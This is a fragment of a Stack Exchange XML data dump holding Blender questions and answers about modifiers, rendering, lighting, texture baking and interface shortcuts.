  <row Id="31053" PostTypeId="2" ParentId="31052" CreationDate="2015-05-18T15:41:08.813" Score="2" Body="&lt;p&gt;It's red because there's no object selected to Boolean with. When I picked the other Cube it worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/McpYJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Cannot Execute Boolean&quot; is because of this beauty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I4Lp2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the geometry was obviously a bit untidy. But it can happen that this similar situation happens at much smaller scales, which are less easy to see without zooming in. In this case the manifold check in the 3d printing tools doesn't pick it up either.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-18T16:51:26.127" LastActivityDate="2015-05-18T16:51:26.127" CommentCount="2" CommunityOwnedDate="2015-05-18T16:38:14.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="31054" PostTypeId="2" ParentId="31050" CreationDate="2015-05-18T15:47:59.723" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Assuming Blender Render&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender has background which can appear in the render.  With the camera selected and shading panel verify that alpha has sky selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the layers tab you must have Sky selected as well&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDTav.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-18T15:47:59.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31055" PostTypeId="2" ParentId="31052" CreationDate="2015-05-18T15:56:35.473" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Red color.  The Boolean modifier needs you to specify the other cube for [OBJECT] in the panel.  The red means you have not satisfied the requirements of the panel for it to execute. User Error. If you want A intersects B. You must specify B in the panel.  Simple problem now that someone else looks at the image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the other first failure. Make sure that both objects are closed objects.  Start with simple closed objects and then progress to more complex objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-18T16:03:15.143" LastActivityDate="2015-05-18T16:03:15.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31056" PostTypeId="2" ParentId="31048" CreationDate="2015-05-18T16:11:42.530" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Place two keyframes on different frames for interpolation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-18T16:11:42.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31057" PostTypeId="1" AcceptedAnswerId="31059" CreationDate="2015-05-18T16:15:10.177" Score="2" ViewCount="268" Body="&lt;p&gt;I need to send scenes to a render farm, and I know there's an option called &quot;pack all&quot; which saves all the external data into the .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is that enough? I was reading about cache files, and I don't know if that's included, or if I have to do something more.&lt;/p&gt;&#xA;" OwnerUserId="14440" LastActivityDate="2015-05-18T17:11:34.673" Title="Render farm: is &quot;pack all&quot; all I need or should I do something more?" Tags="&lt;rendering&gt;&lt;export&gt;&lt;linked-data&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31058" PostTypeId="2" ParentId="31049" CreationDate="2015-05-18T16:30:25.587" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Compositor &amp;amp; Render Layers.  Enable Glossy direct.  Isolate/Transform gloss/specular with color ramp.  [Alpha Over] node to combine images.  The image below isolates some specular/gloss.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3BToZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When you use the mix shader you have an option to specify the mix .. labelled [fac].  Change the setting to suit your taste.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider rendering the image once as diffuse and once with specular.  Use the compositor to threshold with color ramp and choose the best color. PR or NPR? Suit to your tastes. More work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use more elaborate nodes in the materials to change the effect of specular. More work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-18T17:25:31.897" LastActivityDate="2015-05-18T17:25:31.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31059" PostTypeId="2" ParentId="31057" CreationDate="2015-05-18T17:11:34.673" Score="6" Body="&lt;p&gt;For a simple example, what you suggest should, for the most part, be good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to add the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Make Paths Relative&lt;/code&gt; in case someone wants to unpack the &lt;code&gt;.blend&lt;/code&gt; file at a different location.&lt;/li&gt;&#xA;&lt;li&gt;Double check your output directory.  Does it need to be set to a relative path? Does that path actually exist?  &lt;/li&gt;&#xA;&lt;li&gt;If you're learning in this environment, it's good to test out your render by only rendering the first few frames with a low sample rate and smaller image size so you can get quick feedback in case something goes wrong.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;bvh_*&lt;/code&gt; cache files can become quite large.  If your home directory has a small quota, and you have a scratch environment or another drive you can dump them on, then the solution seems to be to remove the cache folder and link it to that other space.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On *nix systems, the cache folder is:&lt;br&gt;&#xA; &lt;code&gt;~/.config/blender/&amp;lt;blenderversion&amp;gt;/cache&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Mac, the cache folder is:&lt;br&gt;&#xA;&lt;code&gt;~/Library/Application Support/Blender/&amp;lt;blenderversion&amp;gt;/cache&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, I'm not so sure, and I don't know how it changes from one version to the next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to read through this Blender Stack Exchange entry as well:&lt;br&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/9291/how-can-i-change-the-directory-used-to-cache-bvh&quot;&gt;How can I change the directory used to cache BVM&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14434" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-05-18T17:11:34.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31060" PostTypeId="1" AcceptedAnswerId="31061" CreationDate="2015-05-18T17:40:05.273" Score="2" ViewCount="601" Body="&lt;p&gt;Some walls in my blender project are too bright and others appear just fine. Here is a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TJGm7.jpg&quot; alt=&quot;One wall appears bright, other appears fine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zlNTB.jpg&quot; alt=&quot;Light types&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NCnSP.jpg&quot; alt=&quot;Light placement and directions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to .blend file removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also forgot to say that I'm using the Blender Internal Rendering Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .blend will be removed from mediafire when the problem is solved.&lt;/p&gt;&#xA;" OwnerUserId="6014" LastEditorUserId="6014" LastEditDate="2015-05-19T01:54:52.233" LastActivityDate="2015-05-19T01:54:52.233" Title="Some walls appear too bright while others appear fine" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31061" PostTypeId="2" ParentId="31060" CreationDate="2015-05-18T17:49:50.710" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Examine your Lights for position and direction and specular value.  If you use a Sun Lamp and point it you can selectively illuminate a wall.  If you are using specular light direction and viewing angle must be considered.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Colors.  Make sure the walls share a material.  The materials would have a number 2 or greater if it is shared.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Examine thes normals of the wall.  Edit Mode. Key N. Mesh Display. Normals Click plane Face Icon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;More Drastic.  Create archive of file. Delete all lights.  Add back one by one to see if the asymmetry persists. Two antiparallel sunlights should achive symmetrical lighting. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-18T18:46:44.200" LastActivityDate="2015-05-18T18:46:44.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31062" PostTypeId="1" CreationDate="2015-05-18T19:13:28.940" Score="4" ViewCount="2296" Body="&lt;p&gt;I am using a Python script to render the below scene in Blender. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/JmrZ8.png&quot; alt=&quot;Before Packing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I am trying to pack them using the piston on the right hand side to make it look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1W7Zh.png&quot; alt=&quot;After Packing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The center of mass before packing will be roughly at the center of the box and it will be shifted to a different point after packing the objects. The question I have is, how to do the center of mass drawing in the Blender and how to calculate it in the Blender using a Python script. Does Blender have an inbuilt feature for doing this? I have checked online and the closest I have found is this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wildpockets.com/sites/all/themes/ninesixty/exporterstemp/wildPocketsBlenderExporter-v0.6.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.wildpockets.com/sites/all/themes/ninesixty/exporterstemp/wildPocketsBlenderExporter-v0.6.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using Blender 2.74 on OsX&lt;/li&gt;&#xA;&lt;li&gt;Using Blender Game Engine to do the packing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11483" LastEditorUserId="3078" LastEditDate="2016-12-22T20:48:39.633" LastActivityDate="2019-12-12T14:07:01.477" Title="How can I calculate and draw the center of mass of various objects, with Python?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31065" PostTypeId="1" CreationDate="2015-05-18T20:03:52.327" Score="3" ViewCount="228" Body="&lt;p&gt;I have this version of Blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yFo9v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between the two Material modes in the Shading panel ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WwgDt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6R0ad.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my PC  GLSL   seems to work, instead Multitexture  seems doesn't work.&lt;/p&gt;&#xA;" OwnerDisplayName="user1395" LastActivityDate="2015-05-18T20:03:52.327" Title="Material Mode in Shading Panel" Tags="&lt;shaders&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31068" PostTypeId="1" AcceptedAnswerId="31082" CreationDate="2015-05-18T21:28:52.427" Score="31" ViewCount="3225" Body="&lt;p&gt;If I need to use Blender within a colour-accurate workflow, what do I have to do to set that up (including hardware calibration, etc)?&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="241" LastEditDate="2015-05-18T21:49:57.127" LastActivityDate="2015-07-04T04:03:27.573" Title="How can Blender be augmented to display color critical and accurate results?" Tags="&lt;workflow&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="31069" PostTypeId="1" CreationDate="2015-05-18T21:31:51.453" Score="5" ViewCount="358" Body="&lt;p&gt;Just putting this out there in case anyone has any ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an older Wacom Intous2 and it still works great. I'm on Windows7. On Blender 2.71 and earlier, my wacom tablet always worked perfectly, and I used it all the time for sculpting and texture painting. It worked fine in every part of Blender, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After 2.71, My wacom no longer works. At least, not entirely. I can grab objects and move them with it, I can position the 3d cursor, but I can't orbit and zoom in the viewport. I'm currently using Blender 2.73a build from Feb 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still keep 2.71 around for sculpting and painting, and it still works fine in there. So I don't think it's the wacom drivers or any changes in Windows. My wacom's behavior hasn't changed in any other program, only Blender, and only on versions after 2.71.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I can do to bring back full functionality?&lt;/p&gt;&#xA;" OwnerUserId="14451" LastActivityDate="2015-05-18T21:31:51.453" Title="Wacom tablet acting oddly" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;sculpting&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31070" PostTypeId="1" CreationDate="2015-05-18T21:37:05.933" Score="1" ViewCount="600" Body="&lt;p&gt;I've been recently trying to do a render of a cliffside with a lighthouse, water, and some fog. For some reason whenever I render the image, black and white specs will obstruct some of the little boxes in the scene, instead of throughout the entire scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EC82i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any insight and help.&lt;/p&gt;&#xA;" OwnerUserId="14419" LastEditorUserId="241" LastEditDate="2015-05-18T21:51:21.690" LastActivityDate="2015-05-18T21:51:21.690" Title="Odd black specks in Render" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31071" PostTypeId="1" AcceptedAnswerId="31073" CreationDate="2015-05-18T21:54:07.080" Score="16" ViewCount="44491" Body="&lt;p&gt;I followed the guide here: &lt;a href=&quot;https://blender.stackexchange.com/questions/13508/how-do-i-bake-a-texture-using-cycles-bake&quot;&gt;How do I bake a texture using Cycles bake&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I unwrapped my UV, created a new image, created an Image Texture node and selected my new image with that, and hit bake. I then receive the error in the title. Here is a screenshot of my view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sqOuw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm definitely doing something wrong, hopefully one of you can point out what that is.&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2019-03-11T02:34:54.537" Title="Need some help baking, &quot;No active image found in material&quot;" Tags="&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31072" PostTypeId="1" AcceptedAnswerId="31086" CreationDate="2015-05-18T22:08:37.553" Score="7" ViewCount="1584" Body="&lt;p&gt;In developing a relatively simple scene, I noticed that detail from normal maps were not being displayed for some objects. All of the maps were generated from Substance painter as .png (16-bits max).  Further investigation in the console showed that loading the normal maps was being skipped due to a float image limit of 5 textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through Google, I found bug report T37264 which indicated that this was due to a limitation in CUDA.  Indeed, switching the render from GPU to CPU cleared the problem (even in the viewport render, which was surprising).  Also, the problem went away by using .jpg for the normal map textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my questions are: Are these steps the only solution for this problem?  I was not aware that I was even using float textures.  Is .png acutally a floating point format?  What about the other .png maps used for color data--are they also count against the floating point texture limit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add: I found that 8-channel .png works ok, so I guess that would be my lossless solution.&lt;/p&gt;&#xA;" OwnerUserId="1974" LastEditorUserId="599" LastEditDate="2016-03-11T05:57:29.803" LastActivityDate="2016-03-11T05:57:29.803" Title="How to avoid float texture limit for GPU rendering" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31073" PostTypeId="2" ParentId="31071" CreationDate="2015-05-18T22:09:40.797" Score="15" Body="&lt;p&gt;For baking in cycles each material slot requires image texture in the node setup, and it looks like even if the material slot is empty. To fix the error, remove the empty material slot from the object.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-18T22:09:40.797" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31075" PostTypeId="1" AcceptedAnswerId="31080" CreationDate="2015-05-19T00:07:25.727" Score="11" ViewCount="1652" Body="&lt;p&gt;Is it possible to create this parquetry pattern by modelling only a single tile and using some system of array modifiers, and then applying a single material, that gives each tile a similar, but individual, pattern? And for clarity: each rectangle is one tile, and each square is made of four tiles. I've intentionally exaggerated the edges of the tiles, for visibility.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kgwde.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the setup I have at the moment.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CVRIE.png&quot; rel=&quot;noreferrer&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/CVRIE.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/a&gt;&lt;br&gt;&#xA;I'm quite happy with the overall looks of it, but it gives a seamless pattern over the entire floor, and I want each tile to have an individual variation, like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GiyAC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-05-19T02:03:01.470" LastActivityDate="2015-05-24T07:38:11.233" Title="Simple parquetry tiling" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31076" PostTypeId="2" ParentId="31060" CreationDate="2015-05-19T01:53:08.163" Score="0" Body="&lt;p&gt;What atomicbezierslinger said: More Drastic. Create archive of file. Delete all lights. Add back one by one to see if the asymmetry persists. Two antiparallel sunlights should achive symmetrical lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I created archive (well saved another copy of the .blend).&lt;/li&gt;&#xA;&lt;li&gt;I deleted all lamps.&lt;/li&gt;&#xA;&lt;li&gt;I added two suns at the corners of the building. They face diagonally towards the rooms &amp;amp; hallways in the building. Halls are equally lit.&lt;/li&gt;&#xA;&lt;li&gt;I also add 2 more suns that face diagonally up and down, but not left and right. So floors and ceilings are lit, too.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Like the original Point Lamps, the four Sun Lamps were added to a group. Materials in Building A were assinged the light group so they will only be lit by the sun lamps in the building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the hallway:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7mchz.jpg&quot; alt=&quot;Hallways are equally lit&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6014" LastActivityDate="2015-05-19T01:53:08.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31077" PostTypeId="2" ParentId="31075" CreationDate="2015-05-19T02:01:21.867" Score="10" Body="&lt;p&gt;&lt;strong&gt;Particle System Particle Info Node&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Provides [Index] value for your Convenience and Creativity&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Particles.  Particle System. Particle Info. Since the particle info node will give you [index], you can base texture coordinates parameterized/uniquely to the tile. This includes 90 degree rotation. Particle System Settings depicted below.  The [index] can be used with math nodes including random numbers. Gain and Bias.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With a Particle System you need only two planes. The Particle System itself and The repeated object particle.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Particle system result with two textures, selective rotation, color progression, texture repeat.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FJ9TE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Animation Ready&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WR3s0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Progressive Rotation via [Index]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;90 Degree Rotation along Green to Blue Diagonal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MmjiW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Particle Info Node Close Up&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F96Ah.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Particle system result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First Object Particle focus.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Image Below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/maWME.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Particle System Full View&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Illustrating Color Progression based on Particle Info Index.  This correlates with the color ramp node depicted in due time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Image Below&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzwBb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Particle System Close Up&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Illustrating Alternating Texture XY Coordinates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Image Below&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hFdrE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;All the convenience of a Blender Particle System&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Emitting all particles at the start of scene with a long lifetime will give the static quality.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yasoU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Condensed Noodle Soup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Look No Groups&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What a Mess!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Please never arrange your noodles like this&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rJgcp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you grow tired of that technical floor,  Add 2 more math nodes and a new texture to get something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Djfrr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easy because the particle system will produce a predictable value in the particle info index.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ordinary technique.  You can introduce non continuity by taking 3 * 3 = 9 squares of the wood texture. 6 * 6 = 36.  So some viewers might not notice the repeat.  Level of Detail.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-24T07:38:11.233" LastActivityDate="2015-05-24T07:38:11.233" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31078" PostTypeId="1" CreationDate="2015-05-19T03:40:35.713" Score="3" ViewCount="159" Body="&lt;p&gt;If you give any object a different rotation it also has a new local orientation. You can still rotate around local axes by using &lt;kbd&gt;R&lt;/kbd&gt; and &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;/&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First press switches to global orientation.&#xA;Second press switches to local orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually work 90% with local orientations, so its not very comfortable for my workflow.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I change the order to&#xA;first press = local&#xA;and second press = global?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to jump right into local mode (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; = local)?&lt;/li&gt;&#xA;&lt;li&gt;Is it even possible to access actions of double keys like &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; in the user preferences and for example switch to Trackball Rotation without pressing twice and also with a different key?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14453" LastEditorUserId="599" LastEditDate="2015-05-22T06:16:55.677" LastActivityDate="2015-07-21T07:43:23.080" Title="Is there a way to use local transforms without pressing keys twice?" Tags="&lt;interface&gt;&lt;transforms&gt;&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31079" PostTypeId="1" CreationDate="2015-05-19T03:51:42.413" Score="6" ViewCount="1308" Body="&lt;p&gt;I never noticed this seam on my rocks till I decided to modify the main texture for them to emit light from some of the low spots. This is a texture on all 6 sides of a cube, and subdivided a few times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What methods are available to reduce the visibility of this seam?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S5J5e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Looks like I use texture painting to do what I need! Only issue is is that some sort of symmetry mode is on where both sides of the seam mirror each other.&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="13512" LastEditDate="2015-05-19T05:34:16.673" LastActivityDate="2015-05-19T11:59:58.870" Title="What methods can I use to reduce such a visible seam?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
